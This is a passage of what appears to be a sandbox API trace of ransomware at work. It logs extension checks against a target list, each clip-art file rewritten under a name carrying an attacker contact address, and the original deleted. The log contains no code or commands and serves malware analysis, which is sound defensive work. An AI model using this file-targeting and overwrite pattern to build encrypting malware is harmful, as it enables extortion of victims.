[0298.726] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0298.726] lstrlenW (lpString=".jpg") returned 4 [0298.726] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.727] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.727] lstrlenW (lpString="FD02071_.WMF") returned 12 [0298.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0298.727] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=2188) returned 1 [0298.727] CloseHandle (hObject=0x10bc) returned 1 [0298.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf")) returned 0x220 [0298.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0298.727] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.728] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0298.728] GetLastError () returned 0x0 [0298.728] ReadFile (in: hFile=0x10bc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x88c, lpOverlapped=0x0) returned 1 [0298.782] WriteFile (in: hFile=0x10dc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x890, lpOverlapped=0x0) returned 1 [0298.795] ReadFile (in: hFile=0x10bc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0298.795] WriteFile (in: hFile=0x10dc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0298.795] SetEndOfFile (hFile=0x10dc) returned 1 [0298.797] CloseHandle (hObject=0x10dc) returned 1 [0298.798] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.798] SetEndOfFile (hFile=0x10bc) returned 1 [0298.798] CloseHandle (hObject=0x10bc) returned 1 [0298.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.799] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf")) returned 1 [0298.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0298.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0298.799] lstrlenW (lpString=".doc") returned 4 [0298.799] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.799] lstrlenW (lpString=".docx") returned 5 [0298.799] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.799] lstrlenW (lpString=".pdf") returned 4 [0298.799] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.799] lstrlenW (lpString=".xls") returned 4 [0298.799] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.799] lstrlenW (lpString=".xlsx") returned 5 [0298.799] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.799] lstrlenW (lpString=".ppt") returned 4 [0298.799] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0298.799] lstrlenW (lpString=".zip") returned 4 [0298.799] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.799] lstrlenW (lpString=".rar") returned 4 [0298.799] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.799] lstrlenW (lpString=".bz2") returned 4 [0298.800] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.800] lstrlenW (lpString=".7z") returned 3 [0298.800] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0298.800] lstrlenW (lpString=".dbf") returned 4 [0298.800] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0298.800] lstrlenW (lpString=".1cd") returned 4 [0298.800] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0298.800] lstrlenW (lpString=".jpg") returned 4 [0298.800] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0298.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0298.800] lstrlenW (lpString=".doc") returned 4 [0298.800] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.800] lstrlenW (lpString=".docx") returned 5 [0298.800] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.800] lstrlenW (lpString=".pdf") returned 4 [0298.800] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.800] lstrlenW (lpString=".xls") returned 4 [0298.800] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.800] lstrlenW (lpString=".xlsx") returned 5 [0298.800] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.800] lstrlenW (lpString=".ppt") returned 4 [0298.800] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0298.800] lstrlenW (lpString=".zip") returned 4 [0298.800] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.800] lstrlenW (lpString=".rar") returned 4 [0298.800] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.801] lstrlenW (lpString=".bz2") returned 4 [0298.801] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.801] lstrlenW (lpString=".7z") returned 3 [0298.801] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0298.801] lstrlenW (lpString=".dbf") returned 4 [0298.801] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0298.801] lstrlenW (lpString=".1cd") returned 4 [0298.801] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0298.801] lstrlenW (lpString=".jpg") returned 4 [0298.801] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.801] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.801] lstrlenW (lpString="FD02116_.WMF") returned 12 [0298.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0298.801] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=3988) returned 1 [0298.802] CloseHandle (hObject=0x10bc) returned 1 [0298.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf")) returned 0x220 [0298.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0298.802] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.802] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0298.802] GetLastError () returned 0x0 [0298.802] ReadFile (in: hFile=0x10bc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0xf94, lpOverlapped=0x0) returned 1 [0298.916] WriteFile (in: hFile=0x10dc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xfa0, lpOverlapped=0x0) returned 1 [0298.946] ReadFile (in: hFile=0x10bc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0298.946] WriteFile (in: hFile=0x10dc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0298.946] SetEndOfFile (hFile=0x10dc) returned 1 [0298.946] CloseHandle (hObject=0x10dc) returned 1 [0298.946] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.946] SetEndOfFile (hFile=0x10bc) returned 1 [0298.947] CloseHandle (hObject=0x10bc) returned 1 [0298.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.947] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf")) returned 1 [0298.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0298.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0298.948] lstrlenW (lpString=".doc") returned 4 [0298.948] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.948] lstrlenW (lpString=".docx") returned 5 [0298.948] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.948] lstrlenW (lpString=".pdf") returned 4 [0298.948] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.948] lstrlenW (lpString=".xls") returned 4 [0298.948] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.948] lstrlenW (lpString=".xlsx") returned 5 [0298.948] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.948] lstrlenW (lpString=".ppt") returned 4 [0298.948] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0298.948] lstrlenW (lpString=".zip") returned 4 [0298.948] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.949] lstrlenW (lpString=".rar") returned 4 [0298.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.949] lstrlenW (lpString=".bz2") returned 4 [0298.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.949] lstrlenW (lpString=".7z") returned 3 [0298.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0298.949] lstrlenW (lpString=".dbf") returned 4 [0298.949] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0298.949] lstrlenW (lpString=".1cd") returned 4 [0298.949] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0298.949] lstrlenW (lpString=".jpg") returned 4 [0298.949] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0298.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0298.949] lstrlenW (lpString=".doc") returned 4 [0298.949] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.949] lstrlenW (lpString=".docx") returned 5 [0298.949] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.949] lstrlenW (lpString=".pdf") returned 4 [0298.949] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.949] lstrlenW (lpString=".xls") returned 4 [0298.949] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.949] lstrlenW (lpString=".xlsx") returned 5 [0298.949] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.949] lstrlenW (lpString=".ppt") returned 4 [0298.949] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0298.949] lstrlenW (lpString=".zip") returned 4 [0298.949] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.950] lstrlenW (lpString=".rar") returned 4 [0298.950] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.950] lstrlenW (lpString=".bz2") returned 4 [0298.950] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.950] lstrlenW (lpString=".7z") returned 3 [0298.950] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0298.950] lstrlenW (lpString=".dbf") returned 4 [0298.950] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0298.950] lstrlenW (lpString=".1cd") returned 4 [0298.950] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0298.950] lstrlenW (lpString=".jpg") returned 4 [0298.950] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.950] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.950] lstrlenW (lpString="FD02161_.WMF") returned 12 [0298.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0298.951] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=3128) returned 1 [0298.951] CloseHandle (hObject=0x10bc) returned 1 [0298.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 0x220 [0298.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0298.951] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.951] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0298.952] GetLastError () returned 0x0 [0298.952] ReadFile (in: hFile=0x10bc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0xc38, lpOverlapped=0x0) returned 1 [0298.988] WriteFile (in: hFile=0x10dc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xc40, lpOverlapped=0x0) returned 1 [0298.989] ReadFile (in: hFile=0x10bc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0298.989] WriteFile (in: hFile=0x10dc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0298.989] SetEndOfFile (hFile=0x10dc) returned 1 [0298.989] CloseHandle (hObject=0x10dc) returned 1 [0298.989] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.989] SetEndOfFile (hFile=0x10bc) returned 1 [0298.990] CloseHandle (hObject=0x10bc) returned 1 [0298.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.990] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 1 [0298.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0298.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0298.991] lstrlenW (lpString=".doc") returned 4 [0298.991] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.991] lstrlenW (lpString=".docx") returned 5 [0298.991] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.991] lstrlenW (lpString=".pdf") returned 4 [0298.991] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.991] lstrlenW (lpString=".xls") returned 4 [0298.991] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.991] lstrlenW (lpString=".xlsx") returned 5 [0298.991] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.991] lstrlenW (lpString=".ppt") returned 4 [0298.991] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0298.991] lstrlenW (lpString=".zip") returned 4 [0298.991] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.991] lstrlenW (lpString=".rar") returned 4 [0298.991] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.991] lstrlenW (lpString=".bz2") returned 4 [0298.991] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.991] lstrlenW (lpString=".7z") returned 3 [0298.991] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0298.991] lstrlenW (lpString=".dbf") returned 4 [0298.991] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0298.991] lstrlenW (lpString=".1cd") returned 4 [0298.991] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0298.991] lstrlenW (lpString=".jpg") returned 4 [0298.991] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0298.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0298.992] lstrlenW (lpString=".doc") returned 4 [0298.992] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.992] lstrlenW (lpString=".docx") returned 5 [0298.992] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.992] lstrlenW (lpString=".pdf") returned 4 [0298.992] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.992] lstrlenW (lpString=".xls") returned 4 [0298.992] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.992] lstrlenW (lpString=".xlsx") returned 5 [0298.992] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.992] lstrlenW (lpString=".ppt") returned 4 [0298.992] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0298.992] lstrlenW (lpString=".zip") returned 4 [0298.992] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.992] lstrlenW (lpString=".rar") returned 4 [0298.992] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.992] lstrlenW (lpString=".bz2") returned 4 [0298.992] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.992] lstrlenW (lpString=".7z") returned 3 [0298.992] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0298.992] lstrlenW (lpString=".dbf") returned 4 [0298.992] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0298.992] lstrlenW (lpString=".1cd") returned 4 [0298.992] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0298.992] lstrlenW (lpString=".jpg") returned 4 [0298.992] lstrcmpiW 